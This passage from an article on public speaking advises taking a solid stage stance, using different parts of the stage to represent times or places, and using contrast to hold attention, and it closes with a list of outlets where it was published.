It is, without doubt, important to take a solid stance on stage because it conveys confidence.  A speaker shuffling about makes us feel uncomfortable and nervous and much less likely to be persuaded.  That’s not to say that you have to stay fixed in that position. Different parts of the stage can represent different locations, different points in time.  For instance, audience left for the past and audience right for the future.  When you change position, the audience travels with you to that time, place, etc.  The point is that these contrasting positions should always be taken with purpose, to reinforce your message.

Contrast is the light and shade, the interest, the difference that makes your speech or presentation stand out and helps your audience better remember your message.  To hold attention and persuade, contrast is crucial.

Recently published at:

Lid Radio

Empowered Business Magazine May 2018 pp21-22

Small Business Insider

 

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